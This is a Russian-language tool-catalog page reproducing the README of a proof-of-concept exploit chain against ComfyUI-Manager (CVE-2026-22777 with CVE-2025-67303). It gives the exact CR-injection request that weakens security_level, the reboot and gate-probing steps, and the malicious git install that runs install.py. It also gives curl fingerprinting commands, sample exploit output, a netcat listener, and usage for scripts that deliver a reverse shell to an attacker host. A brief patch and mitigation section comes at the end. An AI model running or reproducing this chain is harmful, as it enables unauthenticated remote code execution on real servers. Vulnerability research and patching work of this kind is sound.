Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-22777 — Эксплойт proof-of-concept, объединяющий CRLF-инъекцию в конечной точке конфигурации ComfyUI-Manager с установкой произвольного git для достижения неаутентифицированного удалённого выполнения кода. | Kitploit
Инструменты/GitHubGitHub/si13nttt/cve-2026-22777
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
GitHubsi13nttt/cve-2026-22777

CVE-2026-22777

Эксплойт proof-of-concept, объединяющий CRLF-инъекцию в конечной точке конфигурации ComfyUI-Manager с установкой произвольного git для достижения неаутентифицированного удалённого выполнения кода.

44 дней назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-22777 — CRLF-инъекция в ComfyUI-Manager -> RCE (в связке с CVE-2025-67303)

Критичность: Критическая (CVSS 9.8) Затронуто: ComfyUI-Manager < 3.39.2 и 4.0.0 - 4.0.4 Исправлено в: ComfyUI-Manager 3.39.2 / 4.0.5 Сцеплено с: CVE-2025-67303 (Установка произвольного Git-репозитория -> Выполнение кода)


Как это работает

ComfyUI-Manager предоставляет эндпоинт /api/manager/db_mode, который принимает query-параметр value и записывает его напрямую в config.ini с помощью Python-модуля configparser.

Уязвимость представляет собой инъекцию одиночного символа возврата каретки (\r / %0D):

  • При записи: configparser сериализует значение дословно — \r сохраняется в файле как есть.
  • При чтении: режим универсальных переводов строк Python трактует одиночный \r как терминатор строки, разделяя одно значение на две отдельные INI-директивы.
  • Побеждает последний ключ: configparser с strict=False (значение по умолчанию в ComfyUI-Manager) принимает дублирующиеся ключи и использует последний. Внедрённый security_level = weak перезаписывает легитимное значение.

После перезагрузки подделанная настройка вступает в силу, отключая аутентификационный шлюз на /api/customnode/install/git_url (CVE-2025-67303). Этот эндпоинт клонирует произвольный git-репозиторий и немедленно выполняет из него install.py как подпроцесс — что даёт неаутентифицированному атакующему полное выполнение кода.


Цепочка атаки

Шаг 1 — Внедрение одиночного CR в эндпоинт конфигурации
  GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak

  config.ini на диске после записи:
    db_mode = cache\r
    security_level = weak   <- внедрено через %0D

Шаг 2 — Перезагрузка Manager для перечитывания подделанной конфигурации
  GET /api/manager/reboot

  Manager перечитывает config.ini; универсальные переводы строк разбивают значение;
  побеждает последний ключ -> security_level = weak

Шаг 3 — Проверка шлюза (опрос до смены 403 на 400)
  POST /api/customnode/install/git_url  body: http://127.0.0.1/probe.git
  403 = шлюз всё ещё закрыт
  400 = шлюз открыт, security_level=weak подтверждён

Шаг 4 — Запуск установки из вредоносного git-репозитория (CVE-2025-67303)
  POST /api/customnode/install/git_url
  body: http://ATTACKER:9099/alg-upscaler.git

  Manager выполняет:
    git clone http://ATTACKER:9099/alg-upscaler.git
    python install.py   <- здесь выполняется reverse shell

Файлы

ФайлНазначение
setup_evil_repo.shСобирает вредоносный git-репозиторий и раздаёт его по HTTP
exploit_ad15.shЗапускает полную цепочку: CRLF-инъекция -> перезагрузка -> проверка -> запуск
autopwn.pyPython-альтернатива «всё в одном» (собирает репозиторий + запускает полную цепочку)

Идентификация

Шаг 1 — Определение версии

curl -s http://TARGET:8188/api/manager/version
# Уязвимо:  "3.39.1"  /  "4.0.3"
# Исправлено:     "3.39.2"  /  "4.0.5"

Шаг 2 — Подтверждение, что CRLF-эндпоинт принимает значения

curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> эндпоинт существует и доступен для записи

Шаг 3 — Проверка шлюза установки

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://TARGET:8188/api/customnode/install/git_url \
  -d "http://127.0.0.1/probe.git"
# 403 -> шлюз закрыт (конфигурация по умолчанию, цель уязвима для инъекции)
# 400 -> шлюз уже открыт (пропустить Фазу 1)

Разбор вывода эксплойта

============================================================
  CVE-2026-22777 + CVE-2025-67303 Full Chain
============================================================
  Target      : http://192.168.1.10:8188
  Attacker    : 10.10.14.1:4444
  Evil repo   : http://10.10.14.1:9099/alg-upscaler.git

[*] Фаза 0: Определение версии
    ComfyUI-Manager version: "3.39.1"        <- уязвима

[*] Фаза 1: CRLF-инъекция -> security_level = weak
[+] Инъекция отправлена (HTTP 200)
    config.ini теперь содержит:
      db_mode = cache\r
      security_level = weak  <- внедрено через одиночный CR

[*] Фаза 2: Запуск перезагрузки
[+] Запрос на перезагрузку отправлен -- ожидание 30с перезапуска Manager...

[*] Фаза 3: Проверка шлюза безопасности
    Попытка 1: HTTP 403                      <- всё ещё перезагружается
    Попытка 2: HTTP 403
    Попытка 3: HTTP 400                      <- шлюз открыт
[+] Шлюз ОТКРЫТ -- security_level=weak активен

[*] Фаза 4: Проверка доступности вредоносного git-репозитория
[+] Вредоносный репозиторий доступен (HTTP 200)

[*] Фаза 5: Запуск git-установки (CVE-2025-67303)
    ComfyUI-Manager выполнит:
      1. git clone http://10.10.14.1:9099/alg-upscaler.git
      2. cd в клонированный каталог
      3. python install.py  <- здесь выполняется reverse shell

curl на Фазе 5 зависает — reverse shell приходит на nc -lvnp 4444.


Отличия от PoC из Vulhub

1. Полезная нагрузка

PoC из VulhubЭтот PoC
install.pytouch /tmp/success (только доказательство выполнения)Python reverse shell обратно на атакующего
РезультатНет интерактивной оболочкиПолноценная интерактивная оболочка

2. Управление репозиторием

PoC из VulhubЭтот PoC
ЯзыкОдин Python-файлBash, 2 отдельных скрипта
Очисткаtempfile.TemporaryDirectory (автоудаление по Ctrl+C)Вручную (остаётся на диске)
Имя репозиторияСлучайное (например, evil-node-a1b2c3)Фиксированное: alg-upscaler

3. Покрытие цепочки

PoC из VulhubЭтот PoC
CVE-2026-22777 (CRLF-инъекция)Не включеноВ exploit_ad15.sh Фаза 1
Перезагрузка + проверка шлюзаНе включеноОжидание 30с, затем опрос 403->400
Запуск установкиРучной curlАвтоматизировано в Фазе 5

Использование

Шаг 1 — Настройка вредоносного репозитория и слушателя (два терминала)

# Терминал 1 — слушатель
nc -lvnp 4444

# Терминал 2 — сборка и раздача вредоносного репозитория
bash setup_evil_repo.sh 10.10.14.1 4444

Шаг 2 — Запуск полной цепочки эксплойта

# Терминал 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444

Оболочка приходит в Терминал 1 после Фазы 5.

Альтернатива — Python «всё в одном»

# Слепая команда
python3 autopwn.py http://192.168.1.10:8188 --command "id"

# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444

Исправление / Меры защиты

Обновление (рекомендуется): ComfyUI-Manager 3.39.2 или 4.0.5+. Патч удаляет \r и \n перед записью любого query-параметра в config.ini.

Сетевые меры защиты (если немедленное патчирование невозможно):

  • Заблокируйте внешний доступ к порту 8188 на межсетевом экране — ComfyUI не предназначен для публичного доступа.
  • Настройте обратный прокси с аутентификацией перед /api/manager/* и /api/customnode/*.
  • Сделайте config.ini доступным только для чтения: chmod 444 config.ini.

Ссылки

  • https://github.com/Comfy-Org/ComfyUI-Manager
  • https://www.cve.org/CVERecord?id=CVE-2025-67303
  • https://github.com/vulhub/vulhub/tree/master/comfyui/CVE-2025-67303
  • https://docs.python.org/3/library/configparser.html
  • https://cwe.mitre.org/data/definitions/93.html
Скачать инструмент